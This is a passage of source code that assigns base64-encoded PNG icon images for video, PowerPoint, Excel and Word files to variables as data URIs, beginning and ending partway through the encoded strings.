cXfAXg+2PRkQmeYrdb2roAGC9UBig6bicKz2FQFjMqXA7Lu4ORzLn9ehUxloPlCQIVdnd4ef3txcy0NgZFTCuKHOaKeD+Z9r/6A51OV1dz5vGQvpCZ9rsKtZ+T/+31B1cyS4+qIpT55eYiu8Wo8OKH7BnVA8YcKRU0+QGjgJmpXN6HgqakhNOyLuooBdh1Goo/Swsfm7dixcTjiaBnDGAID3ZJ6fbpdgJi5amRvH35jyk874HlXW80UgJQEH0s6nMLAncwY1NkAXJzX4r6Mn9wkWBWFwEA15/StOXJ2WlKayA5Rnu7VsnJa5kOIqN8VNcqYDzfWGd9vC/rzkgtTCaIIptl+3+NT9kDsUl7uthiwAvQSgJUtQXm30VG+rSz6mIrDtHL1SIzHyUWcxs3ZHU6oPriid7G9NsD0Tjt8XJXEn0hCMsaa7J+6k2ZVL4PEACQeL0Oxi8g2kOQDQ3rre/35SYuFeXVtpyq4NkiNwzwf3ti2APDHuinBYZDqJ8G7Lf4vwX/OW1KHgk/AAAAAElFTkSuQmCC",video_icon="data:image/png;base64,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",powerpoint_icon="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAAEKJJREFUeF7dW3lwVeUVP9+9L/vyQljVIIFgIWRXEsQWhdrRQW3VmVKdVgS3aougHZYiKMatHQsiRCr9Q9xqrdZSp9OxM6Is2iqLOm4DKFsSsKiAhLAk4b1379f59vPde18SrCKWGac3791733d+3zm/8zvnfCXwDf/b8sDPT0vRjAZI0nOpT2v9VKKcpJL31i58+vGTsTRyMn6E/cbaxsZYIXw+Ktt3z/FdOoZ4tMrzvZHgJYu9RAL8RBfQxHHwPR98mpw6dsWqp07G2r4WADbeMa1vfjbUOq5b51OoB98f5Xup4X4ymU2TCaDJ4+AdPy7to0B9yq8ppfy/bxUAu++bXnbUidW7BGpSQOuI55VTL1VCkynHS3SJnfV8bSSANNb3mcnCcAsA5gGpU88DNjc2ZmZlHx5NAepSADUOhSrP98uJl4x7XQmgXlIYywyjcjfFBTJSXLPP2E6zG/n/yvvFV6cAADsWzhqQAm+s67tjSSxWTpN0OKWJ4V4qlUkT0oUTCR2i3Oio3VQAcIO5eQgA9owAygCgQuAkesD2386tc116nueQs11wyj3fK6N+agAz1E8lwDveJXaR75JYtNlBezeVO4vdTX8//o7HvQwB5REnNQR2PDib0hQjJRarnlgMW5TcPbVDetHauN65sw4B+ZwAU7xfA8UBMNzgg3fyOOCj+TcK55S7K9YX2GnpvgIMw9jm2rhzcDej7rcA0PFvAPB8CrkxB4gKGel1yvukG5o/MbjiU7ROFanmM7Em6oFPnyYMALPbysMZkdkMbQhLkZdwfwWevZtiEYIb1DvlAuQzvgZZ8gDyuOOeDyw/FzAQVKK2jFS/q1+u14J5xuBmvBWhxkEIA4DcX8W0nbqUcXIROFR0SsOpTgKgwMAA6HUhj/MpuIPLwCksgpjjQEF2FhCGggIAe0PwWu6+uTVguLz/2I7NkDy4j99Nts6/QTi4IiIMQIC9I9ke7zR2Z53qwgDo+McAII8bOPlWyK2o5xyRmZkJhYWF4DiO9qb/9aLlkUY4tGktx9QGoAf2VrlbAcZDh4OndrCHTKHez0FDJBrQCwoAZWhGRgbE43HhCV/BvzAAaqcxAJFsjw3tJlNIV1O8oNOm8q6gx1mkCxAEgBkei8UsEDp2boWD61dDZt/+UFA5GnIGl/UaGgZA28a1KAQicnF3bM82zJCYUXM2USqRY3uJ8RrM1IYDfEph0OQZkFsxWixQ7roCgYUDuz709uvQ+uj9mhuyBw+F0yfdBAVV9T0CoQGgFMjWedfbHJCOvZFsZb/AAeguU4jcgu7xhbYQHCoVIJbD4jsMADZeWcU8gYHQ/s6/EAAmnIrHXwYlk6cDcWNpgWhpuhvaNq3jaxMARORi9bRJZbZuV6nTEGiQD5DQQeJHA6BTpHqvgIeFzaBrpkNeVQNf4NGt78KRDzZCR/PHkGpvg/Lf/RFc1wV/23uwm3mAeqEOO4DicRfDmTfO6R4AHQJBACLZ29YEXL5qnY/yuCLEAH+IMtfwh0WcyOMwAE68H3y2cgV07tkpQkF8CRVNL/AQOPbBRjjw5ENGLOnfFHaXTL0d+k34YSQI3APCAHxZnR+lHI1aDNcFUfUDCw+5l74P8XET4cC/XwaaSnKP4MbLHa585K/8sv3dN+DTJxZDDleM6p3abyGWH4fyRc+Am5MXAsEAwELgDskBOKaR6jJlq10E8R2NFDJSFutF4Tg3htjlsGYHnlI9APBYXcKM5+8Rv834sKJJAHD4vTdhz4pF4AJoECwBRCmUTLkd+l14eQiA5qa74RD3AA2AiUOx7jBD8498HzKKiiF3cJkMAfFuP5WE5OE26NrbCr4sk/maQ3Fuy2f1W8F0mfI84DDKKpSHgETbAuCxhfwbJpG0J6CSu6C6AcpmPZgGgDUitIQHIACC7E19rUKZQfHqBjhj8nRdyWnA2K51dUL7W6/DvlUrIXX0sA0AEj7iGfZeEyrKxdlvpHzWFDEZQxnP/KSyaaXxgMcWaeNcQiHbdQVQ8tmM4gFQseT5ngC4TqbBMAdY7i93NF5VD2dcOyMSAAVG6sgh7p7HWrajMhdVYxJwCwCdUn3wqA+sImS2cBmgfZuRoACgq3UbHFj9D+6JiiNch0BORoYuoIjrwpBf3BkBwAIRAjwN3oEAiGRvJFkphd4AwH7R6zwGOxfPg8T+T2UDxTbER8WR1gsyA3nUA89nzm04QxEOAwBL4uA1S5G5ubndyubmpiAAKvUhACLdk/oQr2qwPCB56CB07d0N2SWlECuIW55x9OMPoGW5UGuiBBeEyHkDAxAgXQaAoQ9BhCrtVi57Ue9oOiCYWMrJyUkLAgdgg+aA6/jqFGGp3Qiyv4rbIACH398Ae55aCuC6MPCSq6D4gkv1Atk7di2aC52f7Aq1vULNFUl6jBtYCCgACKofGHbxs8+TGCKOQD0Ddtl/4o8hf+jItCBoAHgIzJ1qcUCYvc3OsUUXVjVACeIADsCTSwSHEYDSW+ZD7vAKyWkU9v3zedi/aqUEIKAPcMihQszjJMjEj7yfe43sCch0aJpFhlvU/WXzFkPe0JFcMWZnZ4c8oXkpC4E1kgPmTqVqN7AYEdsYblimA0A9WzzuIhh0xVQNAFNce59drtvgOvWl6RYxV2cAqJARCsE0RATLa3KQy1R6gQK4DlQsfg7c3Hz+HesjBMOBA7BhNf+ee4AFAOrZ88UGGpaF1WMiPUADcP7FMOjyKQaADWtg75//gHqOgZrB6icIic0ygBWSMjx0jxADoMWS+DB/ZC0Mm/kbYZysJBkI2BMsALb8eooMe5vtRckW1vmF1SwEbtNkx0JgtwwB9qNDfnkn5JWNMiHw0nOwf9XfbACi6g0cAlJ0GTuFCjSCRHgnNxIRKMuHpdMaobBmTMjtMQjNS+/iJMh9ywIg1BEKNyzTAUBiMRh46dVQfP4lNgkunAMdnzTLTBAEGclriwNE1lACGYsb7P7YeAZQfnkdDP3VA1YPQWUz5g0MhKysLGiRWaB7APRa7YZlYY3tASINtgJrSLACRMtaADiy9X1oXX5/YMYQrf4k4whiys+HZPsRIXKQtDVOgGJeyuSMfgNh+LylkFEQ1+6PjVe7wojxP8vvFyRoeUCUbpeSFTc+ggAoUtO0JHcy1XEUdj00FxL7PxdDkEBX2EqD8jtxH4XTrr4ZvnjjFejcvUPWA1ILyE2xQaGQPXgYDJm2ALL6DrRinxdTqI+ornc/eh8cffs1Hj4mBDAA3XSIeQhMMRwQBQArjPY8thA6WrZrNxZDUx3VdsHFWF83WCmUXD8T8ipHw8F1L8GBVSvBO3ZEcoopiti7YnkF0H/iT6DfhMvAycyyjNdxKC8wEK2/vxcOv/UauARzQMSAUyg4XCMAdAeA19kBbRvX8bzvsWIoNGJDAASUoFB6gnMYAAW1Y8XSvRQc2/YhdOz8CJKH9vOPMor6Q35ZOeSNrAYSY9pfKKF0XeOgF7QsuwfaN63jClN4AE59UR1imYZYhRZnaRB5QGfLNtj/6t8h1X4QOve2gJ9M6jxtNU5R3uevQwAEp0QKgO40v9rhEzWePccAOMR6gjYA9k4r3Y5jVQDAQuB2lAbXw+4nlmidL+4Xy7Mbp2ZMhtvk+j7BghyYkhtmQWHdedqLewKitzuvXti67F5o2ySrwS1zrpU6wGZ7cXO4YRkJwOMPy3cHjrug2hzPCYNzAgxaEICv2nj2Pt4WZyHASZAB0It5oCjm0ngAB0ApPKz3o/uMOASsMZkMxb4XXgbZQ0bYDG4EQDjWed9AV0RmoMpTJIGc4RWQ2aefvodPhlRTNARAhPrDNUK8hnEACoH3WAjYAIQboaZFblKqzfyK5nmniBmrzw3Jpoj2JlEX4BJZqEThhCxF6vwvs07prQugqGGCDqnWZY3QtkFOhrbMnhwIAaP+oookToJTgwAslusPH3exJkySTM17kddYKlSEEvtIbKxSZbI5qvoDqFfIu0fKC3F9QCmUzmiEovrxOlOorjC7n1gABNQfT2OBZkVPAEQfkMANEQEwnhMEm7D9LvwRZJeyEFDUYgSNcXTh3iYbGKDw5+yW3OGVdgjgrrAAAM/3um9YxmvOjfQA7fb4vI+lLpHuVwoTMT8m3cE3zob42d8LZYF0hKhvDGiBdPe3NrHhqCyHNQAq5mSspWtYZg08HeL1F4Cbmwex3Hzo/KQV9r38Qui0lyG6MDmKSEBzBUuF+jD4pjkagKg8f6JpLySElrLJ0GoeMmTL7GsEByAArHm/Ip/IPoHYQtPfC1ePODuYQgl5XOi9BoCvw3i24hbWENkkO0IYgN4deAj3CTgAUdWjaoLKzGIBgOsNeZ/iAuYBReeM06Rl4jz6gERPWoFnB1QUtTYtgDbVEWIAWO0n3SGWUWnVAvYBCcUdlpCxRmzmfu0lAb2A6w0FQP8fXA45Q0eESE6lYwwDSv8qZch0aJgh76xKyCzub7LA0rs4AKIWkAD07mhceKd1phCBFB6rKVmM4txukwdI1xcnxPQ/1ErnszyZSkXaM00TmYeFkajqZL81dMY9UDRmghFCvCO0WqTZzbMkB/R04KG7TBHF/FpdClOEB+COkN1tNlnEl+0vmfO57uE61BivxuURAGiARCuVP8sA6HPu9zWmzUsWQPvGV4FSIgHohRTGHWK1IDv1KbaPHrGpZ3BzBac+LY4ohQEXXQG5pSPljmmJp263pC7/Q99iJCEOjbyzqvhZIsUFux4WHsD/5h5wokfjooSMjm10dMaaNBlgTNYRKw9OiYbcPBf6jD5f7xgjMC1vIzo8QZLriRSbl9wFbesVADN/Fq4GA+ovKpXZSi54tNacD4qqC4LdZpFFTBGFAfiqjWfv2/XwfGhbvwYIoUA2YwACw1G7I6QkrIjHEPNLcko/YsNndaUQkjFqS2EKCgC1k+z7nna1N16g3sEAELNBDUDPByR4gRbZOA08y/t7MlwjDkIF9QLPIoEpUd6wEZDZR8SsMMzMBHBtxHZQJQUzScbVI39aGKqHSxQ6tn8IiS/kUVnhAekPNqtenRWrESMz0cgXYNgABMmRL1kWRIHvZKvMsQzG5wqEmeJMgMkomPkl9QvgAulQIyrfQnzfI5tn/lRKYXSy25rdG+WnmVxL52jml6RizwORWrQFFKo4JQBco1ulrqyL5bDESnUSeGGxcj0EkLJaDlUFJvx7jwKsIO/cdhV12dSEDRLlC3DDEhdFOJWpFwlGNyRmjrYEO8r2ULO78wEE6DVjn339T/aOfT1/kTduubKSOnSM4zu1ALQSCBnhOuS0GGGACGAMQwcap7hylO7GAQiN2Owpsw6nSNLl06CTB0AUrhunXdn3aCLVEPNIA7jeKIe43yEAo2KEZLIDqI7DWg5I1enJjlRtGAB1Hfj/BQWZH7fKCIFvFoAoUNaOHx9LDsutzXL8Gt8jVQSghhBSnUFIMWNjHkaMakP8ETFljjiSc8oDkC4CX5t80VCfujUe9atJzKtzfVJNHKfUZcNYSoGd3GJhFJbPaUhXkNWp5wEnQkEvXjG+qKDIrQLPq/aTzmjXodVAYVTMJdnsZCcDBaeo4JTIIeTbDUAUWH+ZNMnNh89GOEBqwfHPIT7UOQ6pdInTn4HBSJcBwyT2/yUA6TzolUnfPTNBnHqSPF7ngVMTI1ABxFkwceWbz5yI133Ze/8LUxFAdBWsBJcAAAAASUVORK5CYII=",excel_icon="data:image/png;base64,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",word_icon="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAAETFJREFUeF7dWwl0VdW5/s4592YgkEBCRQMEEBQSMhLCZCJgHYuvraW2KAGJWGuttW+98mwdWim2VuvQgopCf